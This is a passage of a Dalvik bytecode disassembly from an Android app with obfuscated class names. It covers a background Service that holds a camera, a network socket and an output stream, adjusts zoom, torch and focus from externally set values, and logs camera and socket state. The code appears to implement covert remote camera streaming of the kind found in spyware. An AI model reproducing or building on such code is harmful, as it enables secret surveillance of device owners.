    00084aaeinvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ab4invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
    00084abainvoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ac0monitor-exit v1
    00084ac2goto/16 :goto_2e3
    00084ac6move-exception v13
    00084ac8monitor-exit v1
    00084acathrow v13
    00084accinvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ad2invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ad8invoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->close()V
    00084adegoto/16 :goto_2e3
    00084ae2invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ae8invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
    00084aeegoto/16 :goto_2e3
    00084af2invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
    00084af8goto/16 :goto_2e3
    00084afcnew-instance v13, Ljava/lang/StringBuilder;
    00084b00invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
    00084b06sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084b0ainvoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084b10move-result-object v1
    00084b12invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b18sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084b1cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b22const-string v1, "outputStream =null"
    00084b26invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b2csget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084b30invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b36sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084b3ainvoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084b40move-result-object v1
    00084b42invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b48invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00084b4emove-result-object v13
    00084b50invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00084b56goto/16 :goto_2e3
    00084b5anew-instance v13, Ljava/lang/StringBuilder;
    00084b5einvoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
    00084b64sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084b68invoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084b6emove-result-object v1
    00084b70invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b76sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084b7ainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b80const-string v1, "ctd =false"
    00084b84invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b8asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084b8einvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084b94sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084b98invoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084b9emove-result-object v1
    00084ba0invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084ba6invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00084bacmove-result-object v13
    00084baegoto :goto_25c
    00084bb0new-instance v13, Ljava/lang/StringBuilder;
    00084bb4invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
    00084bbasget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084bbeinvoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084bc4move-result-object v1
    00084bc6invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084bccsget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084bd0invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084bd6const-string v1, "socket =null"
    00084bdainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084be0sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084be4invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084beasget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084beeinvoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084bf4move-result-object v1
    00084bf6invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084bfcinvoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00084c02move-result-object v13
    00084c04goto :goto_25c
    00084c06new-instance v13, Ljava/lang/StringBuilder;
    00084c0ainvoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
    00084c10sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084c14invoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084c1amove-result-object v1
    00084c1cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c22sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084c26invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c2cconst-string v1, "camera =null"
    00084c30invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c36sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084c3ainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c40sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084c44invoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084c4amove-result-object v1
    00084c4cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084c52invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00084c58move-result-object v13
    00084c5agoto/16 :goto_25c
    00084c5eiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084c62invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084c68move-result-object v13
    00084c6ainvoke-interface {v13}, Ljava/util/List;->size()I
    00084c70move-result v13
    00084c72if-lez v13, :cond_2f8
    00084c76iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084c7ainvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084c80move-result-object v13
    00084c82invoke-interface {v13, v0}, Ljava/util/List;->remove(I)Ljava/lang/Object;
    00084c88iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084c8cinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084c92move-result-object v13
    00084c94invoke-interface {v13}, Ljava/util/List;->size()I
    00084c9amove-result v13
    00084c9cif-lez v13, :cond_30d
    00084ca0iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084ca4invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084caamove-result-object v13
    00084cacinvoke-interface {v13, v0}, Ljava/util/List;->remove(I)Ljava/lang/Object;
    00084cb2iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084cb6iget-object v0, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084cbainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
    00084cc0move-result-wide v0
    00084cc2const-wide/16 v2, 0x1
    00084cc6add-long/2addr v0, v2
    00084cc8invoke-static {v13, v0, v1}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;J)J
    00084ccegoto/16 :goto_0
    00084cd2nop
    00084cd4goto/16 :goto_0
    00084cd8const-string v13, "-->"
    00084cdcreturn-object v13
    00084688
    00084cde
    00084cde struct code_item_padding
    00084cde padding uint16 0x0000
    00084ce0
    00084ce0 struct try_item
    00084ce0 start_addr uint32 0x846a8
    00084ce4 insn_count int 424
    00084ce6 handler_off uint16 0x84d21
    00084ce8
    00084ce8 struct try_item
    00084ce8 start_addr uint32 0x849f8
    00084cec insn_count int 86
    00084cee handler_off uint16 0x84d2a
    00084cf0
    00084cf0 struct try_item
    00084cf0 start_addr uint32 0x84aa8
    00084cf4 insn_count int 3
    00084cf6 handler_off uint16 0x84d2d
    00084cf8
    00084cf8 struct try_item
    00084cf8 start_addr uint32 0x84aae
    00084cfc insn_count int 9
    00084cfe handler_off uint16 0x84d34
    00084d00
    00084d00 struct try_item
    00084d00 start_addr uint32 0x84ac0
    00084d04 insn_count int 5
    00084d06 handler_off uint16 0x84d2a
    00084d08
    00084d08 struct try_item
    00084d08 start_addr uint32 0x84aca
    00084d0c insn_count int 1
    00084d0e handler_off uint16 0x84d21
    00084d10
    00084d10 struct try_item
    00084d10 start_addr uint32 0x84acc
    00084d14 insn_count int 22
    00084d16 handler_off uint16 0x84d3b
    00084d18
    00084d18 struct try_item
    00084d18 start_addr uint32 0x84afc
    00084d1c insn_count int 233
    00084d1e handler_off uint16 0x84d21
    00084d20
    00084d20 struct encoded_catch_handler_list
    00084d20 size int 5
    00084d21
    00084d21 struct encoded_catch_handler ← 0x84ce6 0x84d0e 0x84d1e
    00084d21 size int64 2
    00084d22 handlers[0].type_idx int 0x59cc
    00084d24 handlers[0].addr uint32 0x84cd2
    00084d26 handlers[1].type_idx int 0x5994
    00084d28 handlers[1].addr uint32 0x84cd2
    00084d2a
    00084d2a struct encoded_catch_handler ← 0x84cee 0x84d06
    00084d2a size int64 0
    00084d2b catch_all_addr uint32 0x84ac6
    00084d2d
    00084d2d struct encoded_catch_handler ← 0x84cf6
    00084d2d size int64 -1
    00084d2e handlers[0].type_idx int 0x59ac
    00084d30 handlers[0].addr uint32 0x84aae
    00084d32 catch_all_addr uint32 0x84ac6
    00084d34
    00084d34 struct encoded_catch_handler ← 0x84cfe
    00084d34 size int64 -1
    00084d35 handlers[0].type_idx int 0x5994
    00084d37 handlers[0].addr uint32 0x84ac0
    00084d39 catch_all_addr uint32 0x84ac6
    00084d3b
    00084d3b struct encoded_catch_handler ← 0x84d16
    00084d3b size int64 2
    00084d3c handlers[0].type_idx int 0x5994
    00084d3e handlers[0].addr uint32 0x84c5e
    00084d40 handlers[1].type_idx int 0x59cc
    00084d42 handlers[1].addr uint32 0x84cd2
    00084d44
    00084d44cmf0.c3b5bm90zq.patch.C5$a::a(java.lang.String):
    00084d54invoke-super {v0, v1}, Landroid/os/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
    00084d5areturn-void
    00084d44
    00084d5c
    00084d5ccmf0.c3b5bm90zq.patch.C5$a::a(java.lang.Integer[]):
    00084d6cinvoke-super {v0, v1}, Landroid/os/AsyncTask;->onProgressUpdate([Ljava/lang/Object;)V
    00084d72return-void
    00084d5c
    00084d74
    00084d74cmf0.c3b5bm90zq.patch.C5$a::doInBackground(java.lang.Object[]):
    00084d84invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a([Ljava/lang/Object;)Ljava/lang/String;
    00084d8amove-result-object v1
    00084d8creturn-object v1
    00084d74
    00084d8e
    00084d8e // align 0x10
    00084d90
    00084d90cmf0.c3b5bm90zq.patch.C5$a::onPostExecute(java.lang.Object):
    00084da0check-cast v1, Ljava/lang/String;
    00084da4invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a(Ljava/lang/String;)V
    00084daareturn-void
    00084d90
    00084dac
    00084daccmf0.c3b5bm90zq.patch.C5$a::onPreExecute():
    00084dbcinvoke-super {v0}, Landroid/os/AsyncTask;->onPreExecute()V
    00084dc2return-void
    00084dac
    00084dc4
    00084dc4cmf0.c3b5bm90zq.patch.C5$a::onProgressUpdate(java.lang.Object[]):
    00084dd4check-cast v1, [Ljava/lang/Integer;
    00084dd8invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a([Ljava/lang/Integer;)V
    00084ddereturn-void
    00084dc4
    00084de0
    00084de0cmf0.c3b5bm90zq.patch.C5::<clinit>():
    00084df0new-instance v0, Ljava/lang/Object;
    00084df4invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00084dfasput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->t:Ljava/lang/Object;
    00084dfereturn-void
    00084de0
    00084e00
    00084e00cmf0.c3b5bm90zq.patch.C5::<init>():
    00084e10invoke-direct {v3}, Landroid/app/Service;-><init>()V
    00084e16const-wide/16 v0, 0x0
    00084e1aiput-wide v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->r:J
    00084e1eiput-wide v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->s:J
    00084e22const/4 v0, 0x0
    00084e24iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00084e28iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    00084e2ciput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    00084e30invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    00084e36move-result-wide v1
    00084e38iput-wide v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->u:J
    00084e3cconst/16 v1, 0x43
    00084e40iput v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->v:I
    00084e44iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
    00084e48new-instance v0, Ljava/util/ArrayList;
    00084e4cinvoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
    00084e52iput-object v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->x:Ljava/util/List;
    00084e56new-instance v0, Ljava/util/ArrayList;
    00084e5ainvoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
    00084e60iput-object v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->y:Ljava/util/List;
    00084e64return-void
    00084e00
    00084e66
    00084e66 // align 0x8
    00084e68
    00084e68cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, long):
    00084e78iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->r:J
    00084e7creturn-wide v1
    00084e68
    00084e7e
    00084e7e // align 0x10
    00084e80
    00084e80cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, java.io.OutputStream):
    00084e90iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00084e94return-object v1
    00084e80
    00084e96
    00084e96 // align 0x8
    00084e98
    00084e98cmf0.c3b5bm90zq.patch.C5::a(java.net.Socket):
    00084ea8sput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    00084eacreturn-object v0
    00084e98
    00084eae
    00084eae // align 0x10
    00084eb0
    00084eb0cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5):
    00084ec0invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C5;->f()V
    00084ec6return-void
    00084eb0
    00084ec8
    00084ec8cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, boolean):
    00084ed8iput-boolean v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
    00084edcreturn v1
    00084ec8
    00084ede
    00084ede // align 0x10
    00084ee0
    00084ee0cmf0.c3b5bm90zq.patch.C5::b(cmf0.c3b5bm90zq.patch.C5, long):
    00084ef0iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->u:J
    00084ef4return-wide v1
    00084ee0
    00084ef6
    00084ef6 // align 0x8
    00084ef8
    00084ef8cmf0.c3b5bm90zq.patch.C5::b(cmf0.c3b5bm90zq.patch.C5):
    00084f08iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00084f0creturn-object v0
    00084ef8
    00084f0e
    00084f0e // align 0x10
    00084f10
    00084f10cmf0.c3b5bm90zq.patch.C5::c(cmf0.c3b5bm90zq.patch.C5):
    00084f20iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->s:J
    00084f24return-wide v0
    00084f10
    00084f26
    00084f26 // align 0x8
    00084f28
    00084f28cmf0.c3b5bm90zq.patch.C5::c(cmf0.c3b5bm90zq.patch.C5, long):
    00084f38iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->s:J
    00084f3creturn-wide v1
    00084f28
    00084f3e
    00084f3e // align 0x10
    00084f40
    00084f40cmf0.c3b5bm90zq.patch.C5::c():
    00084f50sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084f54if-eqz v0, :cond_bd
    00084f58sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    00084f5cif-eqz v0, :cond_bd
    00084f60sget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
    00084f64sget v1, Lcmf0/c3b5bm90zq/patch/C5;->k:I
    00084f68if-eq v0, v1, :cond_12
    00084f6csget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
    00084f70sput v0, Lcmf0/c3b5bm90zq/patch/C5;->k:I
    00084f74sget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
    00084f78sget v1, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084f7cif-eq v0, v1, :cond_1c
    00084f80sget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
    00084f84sput v0, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084f88sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
    00084f8csget v1, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    00084f90if-eq v0, v1, :cond_3c
    00084f94sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
    00084f98sput v0, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    00084f9csget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084fa0invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00084fa6move-result-object v0
    00084fa8invoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->isZoomSupported()Z
    00084faemove-result v1
    00084fb0if-eqz v1, :cond_3c
    00084fb4sget v1, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    00084fb8invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setZoom(I)V
    00084fbesget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084fc2invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
    00084fc8sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
    00084fccsget v1, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    00084fd0const/4 v2, 0x1
    00084fd2if-eq v0, v1, :cond_83
    00084fd6sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
    00084fdasput v0, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    00084fdesget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084fe2invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00084fe8move-result-object v0
    00084feainvoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
    00084ff0move-result-object v1
    00084ff2sget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00084ff6invoke-virtual {v3}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00084ffcmove-result-object v3
    00084ffeinvoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
    00085004move-result-object v3
    00085006if-eqz v3, :cond_83
    0008500asget v3, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    0008500eif-ne v3, v2, :cond_6f
    00085012const-string v3, "torch"
    00085016invoke-interface {v1, v3}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    0008501cmove-result v1
    0008501eif-eqz v1, :cond_7e
    00085022const-string v1, "torch"
    00085026invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
    0008502cgoto :goto_7e
    0008502esget v3, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    00085032if-nez v3, :cond_7e
    00085036const-string v3, "torch"
    0008503ainvoke-interface {v1, v3}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    00085040move-result v1
    00085042if-eqz v1, :cond_7e
    00085046const-string v1, "off"
    0008504agoto :goto_6b
    0008504csget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085050invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
    00085056sget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
    0008505asget v1, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    0008505eif-eq v0, v1, :cond_bd
    00085062sget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
    00085066sput v0, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    0008506asget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008506einvoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00085074move-result-object v0
    00085076invoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->getSupportedFocusModes()Ljava/util/List;
    0008507cmove-result-object v1
    0008507esget v3, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    00085082if-ne v3, v2, :cond_a9
    00085086const-string v2, "continuous-video"
    0008508ainvoke-interface {v1, v2}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    00085090move-result v1
    00085092if-eqz v1, :cond_b8
    00085096const-string v1, "continuous-video"
    0008509ainvoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFocusMode(Ljava/lang/String;)V
    000850a0goto :goto_b8
    000850a2sget v2, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    000850a6if-nez v2, :cond_b8
    000850aaconst-string v2, "auto"
    000850aeinvoke-interface {v1, v2}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    000850b4move-result v1
    000850b6if-eqz v1, :cond_b8
    000850baconst-string v1, "auto"
    000850begoto :goto_a5
    000850c0sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000850c4invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
    000850careturn-void
    00084f40
    000850cc
    000850cc struct try_item
    000850cc start_addr uint32 0x84f50
    000850d0 insn_count int 189
    000850d2 handler_off uint16 0x850d5
    000850d4
    000850d4 struct encoded_catch_handler_list
    000850d4 size int 1
    000850d5
    000850d5 struct encoded_catch_handler ← 0x850d2
    000850d5 size int64 1
    000850d6 handlers[0].type_idx int 0x5994
    000850d8 handlers[0].addr uint32 0x850ca
    000850da
    000850da // align 0x4
    000850dc
    000850dccmf0.c3b5bm90zq.patch.C5::d(cmf0.c3b5bm90zq.patch.C5):
    000850eciget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->r:J
    000850f0return-wide v0
    000850dc
    000850f2
    000850f2 // align 0x4
    000850f4
    000850f4cmf0.c3b5bm90zq.patch.C5::d():
    00085104sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    00085108return-object v0
    000850f4
    0008510a
    0008510a // align 0x4
    0008510c
    0008510ccmf0.c3b5bm90zq.patch.C5::e():
    0008511csget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->t:Ljava/lang/Object;
    00085120return-object v0
    0008510c
    00085122
    00085122 // align 0x4
    00085124
    00085124cmf0.c3b5bm90zq.patch.C5::e(cmf0.c3b5bm90zq.patch.C5):
    00085134iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->x:Ljava/util/List;
    00085138return-object v0
    00085124
    0008513a
    0008513a // align 0x4
    0008513c
    0008513ccmf0.c3b5bm90zq.patch.C5::f(cmf0.c3b5bm90zq.patch.C5):
    0008514ciget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->y:Ljava/util/List;
    00085150return-object v0
    0008513c
    00085152
    00085152 // align 0x4
    00085154
    00085154cmf0.c3b5bm90zq.patch.C5::f():
    00085164const/4 v0, 0x0
    00085166sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    0008516aif-eqz v1, :cond_c
    0008516esget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    00085172invoke-virtual {v1}, Ljava/net/Socket;->close()V
    00085178sput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
    0008517ciget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00085180if-eqz v1, :cond_17
    00085184iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00085188invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
    0008518eiput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
    00085192return-void
    00085154
    00085194
    00085194 struct try_item
    00085194 start_addr uint32 0x85166
    00085198 insn_count int 11
    0008519a handler_off uint16 0x851a5
    0008519c
    0008519c struct try_item
    0008519c start_addr uint32 0x8517c
    000851a0 insn_count int 11
    000851a2 handler_off uint16 0x851a9
    000851a4
    000851a4 struct encoded_catch_handler_list
    000851a4 size int 2
    000851a5
    000851a5 struct encoded_catch_handler ← 0x8519a
    000851a5 size int64 1
    000851a6 handlers[0].type_idx int 0x5994
    000851a8 handlers[0].addr uint32 0x8517c
    000851a9
    000851a9 struct encoded_catch_handler ← 0x851a2
    000851a9 size int64 1
    000851aa handlers[0].type_idx int 0x5994
    000851ac handlers[0].addr uint32 0x85192
    000851ad
    000851ad // align 0x10
    000851b0
    000851b0cmf0.c3b5bm90zq.patch.C5::g(cmf0.c3b5bm90zq.patch.C5):
    000851c0iget-boolean v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
    000851c4return v0
    000851b0
    000851c6
    000851c6 // align 0x8
    000851c8
    000851c8cmf0.c3b5bm90zq.patch.C5::h(cmf0.c3b5bm90zq.patch.C5):
    000851d8iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->u:J
    000851dcreturn-wide v0
    000851c8
    000851de
    000851de // align 0x10
    000851e0
    000851e0cmf0.c3b5bm90zq.patch.C5::i(cmf0.c3b5bm90zq.patch.C5):
    000851f0iget v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->v:I
    000851f4return v0
    000851e0
    000851f6
    000851f6 // align 0x8
    000851f8
    000851f8cmf0.c3b5bm90zq.patch.C5::a(java.lang.String):
    00085208new-instance v0, Ljava/lang/Thread;
    0008520cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C5$2;
    00085210invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C5$2;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Ljava/lang/String;)V
    00085216invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
